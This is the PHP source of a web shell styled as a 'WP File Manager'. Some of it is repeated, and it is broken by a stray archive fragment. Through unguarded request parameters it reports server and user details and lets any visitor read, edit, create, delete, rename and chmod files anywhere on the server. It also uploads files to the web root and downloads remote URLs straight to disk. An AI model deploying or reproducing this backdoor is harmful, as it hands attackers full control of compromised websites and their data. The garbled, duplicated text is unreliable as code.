'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{] cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
